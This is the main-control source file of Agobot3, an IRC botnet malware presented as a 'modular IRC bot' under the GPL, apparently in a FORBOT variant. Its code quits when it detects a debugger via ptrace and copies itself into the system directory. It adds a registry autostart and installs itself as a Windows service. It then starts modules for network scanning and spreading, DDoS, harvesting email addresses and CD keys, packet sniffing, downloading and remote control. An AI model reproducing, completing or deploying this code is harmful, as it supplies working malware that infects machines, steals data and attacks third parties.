/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (C) 2003 Ago

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */

#include "main.h"
#include "mainctrl.h"

//char *cby="\xDA\x0A\x60";

CMainCtrl g_cMainCtrl;

int CMainCtrl::MainCtrl()
{

#ifdef DBGCONSOLE
	m_cConsDbg.Log(1, "[FORBOT] Started MainCtrl\n");
#endif

	bool bFailed=false; m_bRunning=true; 
	
	while(m_bRunning && !bFailed){	// Control Loop starts here, set m_bRunning to false to
		// stop, set bFailed in case of component failure
		if(!m_cIRC.m_bRunning) bFailed=true;
		if(!bFailed) bFailed=!m_cBot.Think();
		if(bFailed) m_bRunning=false;
		list<CThread*>::iterator it; for(it=m_lCanJoin.begin(); it!=m_lCanJoin.end(); ++it){(*it)->Kill(); delete(*it); } m_lCanJoin.clear();
		Sleep(250); }
	if(bFailed) return 1; else return 0; }

int CMainCtrl::Main(const char *szCmdLine, const char *szArgv0){
	m_bRunning=true;
	g_cMainCtrl.m_lCanJoin.clear();

	if(szArgv0) m_sArgv0.Assign(szArgv0); else m_sArgv0.Assign("");
	if(szCmdLine) m_sCmdLine.Assign(szCmdLine); else m_sCmdLine.Assign("");

#ifdef LINUX
	// make the segmentation violation signal ignored
	signal(SIGSEGV, SIG_IGN);

	// Anti-PTrace
	if(ptrace(PTRACE_TRACEME, 0, 1, 0)<0) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(1, "PTrace detected, exiting...\n");
#endif // DBGCONSOLE
		return 0;
	}
#endif // LINUX

	// Parse command line
	m_cCmdLine.Parse(szCmdLine);

	// Activate debugging console
	if(m_cCmdLine.m_cConfig.bDebug) m_cConsDbg.Init(m_cCmdLine.m_cConfig.iDebugLevel);

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Command line: \"%s\"...\n", szCmdLine);
#endif // DBGCONSOLE

#ifdef WIN32
#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Starting WinSock...\n");
#endif // DBGCONSOLE
	WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData);
#endif // WIN32

	// Initialize pthreads
	CThread::InitPThreads();
		// Initialize base subsystems, don't swap
 m_cCVar.Init();m_cMac.Init();m_cBot.Init();	
m_cBot.Config();
#ifdef WIN32
	if(m_cCmdLine.m_cConfig.bService || m_cBot.as_service.bValue) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Starting service thread...\n");
#endif // DBGCONSOLE
#ifndef DBGCOLSONE
		m_cService.Start();
#endif
	}
#endif // WIN32


	
//	if(m_cBot.as_enabled.bValue || m_cBot.as_service.bValue)
		m_cInstaller.CopyToSysDir(m_cBot.bot_filename.sValue);


	m_cInstaller.Install();
#ifdef WIN32
	if(m_cBot.as_enabled.bValue) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Adding registry autostart...\n");
#endif // DBGCONSOLE
		#ifndef DBGCONSOLE
		m_cInstaller.RegStartAdd(m_cBot.as_valname.sValue, m_cBot.bot_filename.sValue);
		#endif
		}

	if(m_cBot.as_service.bValue && !m_cInstaller.IsInstalled(m_cBot.as_service_name.sValue)) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Adding service...\n");
#endif // DBGCONSOLE
		#ifndef DBGCONSOLE
		m_cInstaller.ServiceAdd(m_cBot.as_service_name.sValue, m_cBot.bot_filename.sValue);
		#endif
	}
	else{
		m_cInstaller.ServiceDel(m_cBot.as_service_name.sValue);
}	
	if(m_cBot.as_service.bValue && !m_cCmdLine.m_cConfig.bService) {
#ifdef DBGCONSOLE
		m_cConsDbg.Log(5, "Starting service...\n");
#endif // DBGCONSOLE
#ifndef DBGCONSOLE
		if(m_cInstaller.ServiceStart(m_cBot.as_service_name.sValue)) { exit(0); } 
#endif
	}

#endif // WIN32

#ifdef DBGCONSOLE
	m_cConsDbg.Log(7, "Initializing RNG...\n");
#endif // DBGCONSOLE
	// Initialize random number generator from system time
	init_random();

	// Receive a random nickname
	m_sUserName=RndNick(m_cBot.si_nickprefix.sValue.CStr(),m_cBot.si_nickend.sValue.CStr());

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Starting threads...\n");
#endif // DBGCONSOLE
	 m_cSendFileFTP.Start();m_cIRC.Start(); m_cSendFile.Start();

#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Initializing subsystems...\n");
#endif // DBGCONSOLE
// Initialize subsystems
	m_cDownloader.Init();
	m_cScanner.Init();
	m_cDDOS.Init();
	m_cHarvest_EMails.Init();
	m_cRedirect.Init();
	m_cScannerAuto.Init();
	m_cIRC.Init();
	m_cProcessControl.Init();
	m_cInstaller.Init();
	m_cHarvest_CDKeys.Init();
	m_cSpeedTest.Init();
	m_cPsniff.Start();
	m_cSnap.Init();
	m_cRSLControl.Init();
m_cLogic.Init();
	// Start the main loop
#ifdef DBGCONSOLE
	m_cConsDbg.Log(7, "Starting the main loop...\n");
#endif // DBGCONSOLE


m_autoCmd.Start();


	int iRetVal=MainCtrl();

#ifdef DBGCONSOLE
	m_cConsDbg.Log(7, "Terminated the main loop...\n");
#endif // DBGCONSOLE
	m_cIdentD.Kill(); m_cSendFile.Kill(); m_cIRC.Kill(); // m_cService.Kill();

	// Cleanup pthreads
	CThread::CleanupPThreads();

#ifdef WIN32
#ifdef DBGCONSOLE
	m_cConsDbg.Log(5, "Shutting down WinSock...\n");
#endif // DBGCONSOLE
	WSACleanup();
#endif // WIN32

	// Deactivate debugging console
	if(m_cCmdLine.m_cConfig.bDebug) {
#ifdef WIN32
//		system("pause");
#endif // WIN32
		m_cConsDbg.DeInit(); }
	return iRetVal; }

void CMainCtrl::RegisterService() {
#ifdef WIN32
#endif // WIN32
}

// Platform compatibility hacks

#ifdef WIN32
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hprev, PSTR cmdline, int ishow)
{	return g_cMainCtrl.Main(cmdline, NULL); }
#else
int main(int argc, char **argv)
{	int argvlen=0, i; for(i=1; i<argc; i++) argvlen+=(strlen(argv[i])+1);
	char *szArgv=(char*)malloc(argvlen); strcpy(szArgv, "");
	if(argv[1]) strcpy(szArgv, argv[1]);
	for(i=2; i<argc; i++) { if(argv[i]) strcat(szArgv, " "); strcat(szArgv, argv[i]); }
	int iRetVal=g_cMainCtrl.Main(szArgv, argv[0]);
	free(szArgv); return iRetVal; }
#endif // WIN32
